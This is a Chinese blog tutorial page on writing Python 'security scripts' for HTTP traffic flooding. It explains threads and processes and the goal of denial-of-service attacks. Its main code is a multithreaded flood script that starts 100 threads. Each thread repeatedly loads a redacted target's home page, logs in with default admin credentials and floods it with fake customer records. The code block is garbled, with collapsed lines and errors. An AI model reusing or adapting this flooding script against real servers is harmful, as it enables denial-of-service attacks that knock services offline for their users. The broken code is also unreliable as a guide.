当前位置: 首页 > news >正文

python安全脚本编写之流量泛洪

多线程与流量泛洪

并发操作

如果一个单核的cpu,是并不存在严格意义的并发,只是因为处理时间极短,所以感觉上是并发操作的。

针对多核CPU,4核CPU,严格意义上的并发处理是4个

线程和进程

  1. 每一个应用程序,至少会有一个进程,并且拥有PID(进程ID)和独立的内存空间。
  2. 每一个进程至少拥有一个线程,而线程并没有独立的内存空间。

泛红初体验之thread.py

import threading
import time,random
# 单线程情况下,下述代码执行或消耗5秒钟的时间
def test_01():print(threading.currentThread().getName())	# 输出当前线程的名字for i in range(5):print(time.strftime('%Y-%m-%d %H:%M:%S'))time.sleep(1)
# 使用多线程的方式输入5次时间
def test_02():print(threading.currentThread().getName())print(time.strftime('%Y-%m-%d %H:%M:%S'))time.sleep(1)session=requests.session()
def home():url="xx.xx.xx"resp=session.get(url)if "xxxxxxxxx" in resp.text:print("首页访问成功")else:print("首页访问失败")
def login():data={'username':'admin','password':'admin','verifycode':'0000'}resp=session.post(url=url,data=data)if resp.test=='login-pass':print('登陆成功')else:print('登陆失败')def add():data={'customername':'未知','customerphone':f'13{random.randint(30000000,999999999)}','childsex':'男','childdate':'2021-10-15','creditkids':'0','creditcloth':'0'}resp=session.post(f"{url}/xxxx/customer/add",data=data)if resp.text=="add-successful":print("新增会员成功")else:print("新增会员失败")
# 基于HTTP协议,进行流量的泛洪,压力测试,性能测试
# 使用多线程模拟流量泛红(Flow Flood) 攻击xxx.xxx.xxx
def xxxxsales_flood():for i in range(1000):try:home()login()add()except:passif __name__=='__main__':# test_01()	# 当python执行时,虽然没有手工启动线程,默认Python会启动一个主线程# 并发启动5个线程#for i in range(5):# 实例化一个线程,target表示是哪个方法,将那个方法传过去,注意没有圆括号,有圆括号就是调用了,若目标函数有参数,在后面跟上args=(),以元组的方式传过去即可# 或者这样描述,实例化一个线程,并且指定调用test_02函数#t=threading.Thread(target=test_02)# 启动线程#t.start()#test_02()for i in range(100):threading.Thread(target=wxxxxales_flood).start

DOS攻击的核心

利用常规技术或特殊技术,想办法消耗掉目标服务器的资源(CPU、内存、硬盘,带宽,连接数等),使其无法正常提供对外服务

小知识点:

装饰器

可以用于收集其响应时间

def performance(func):def inner():start=time.time()func()end=time.time()print(f"请求:{func.__name__}的响应时间为:{end-start}")return inner
@performance
def home():url="xx.xx.xx"resp=session.get(url)if "xxxxxxxxx" in resp.text:print("首页访问成功")else:print("首页访问失败")
http://www.lryc.cn/news/411978.html

相关文章:

  • 一文看懂Java反射、注解、UML图和Lambda表达式
  • 【漏洞复现】搜狗输入法简单绕过Windows锁屏机制
  • JAVA Spring学习Day1
  • linux常见面试题(三)
  • 【JS】ES6新类型Map与Set
  • FETCH FIRST ROW ONLY和 DISTINCT ON和 LIMIT 1的用法
  • 前端小白安装node、vue、Express、Electron及(Electron桌面端exe应用开发)
  • solidity多态【很重要】
  • Jangow-1.0.1靶机漏洞复现(未完成)
  • 软件测试--python基础
  • GPIO子系统
  • 学会这个Python库,接口测试so easy
  • Stable Diffusion4.8.7(Ai绘画)软件安装教程
  • 操作系统错误处理
  • 【靶场实操】sql-labs通关详解----第一节:基础注入方式(Less-1~Less-10)
  • 力扣676.实现一个魔法字典
  • ctfshow-web入门-sql注入(web171-web175)
  • 视频怎么添加音乐?分享5种视频添加音乐方法
  • 黑马JavaWeb后端案例开发(包含所有知识点!!!)
  • FPGA开发——蜂鸣器实现音乐播放器的设计
  • InnoDB存储引擎(1)
  • VMWare虚拟机共享主机的网络访问外网
  • LeetCode Easy|【415. 字符串相加】
  • RAG 革命:NVIDIA 工作站如何成为企业 AI 的秘密武器
  • 九大原则,轻松构建个人高效SOP
  • Airtest的demo实现多设备并行
  • 社区养老服务小程序的设计
  • Interceptor拦截器开发
  • 美团 AIGC产品经理面经(已拿 offer)
  • @RequestBody与@RequestParam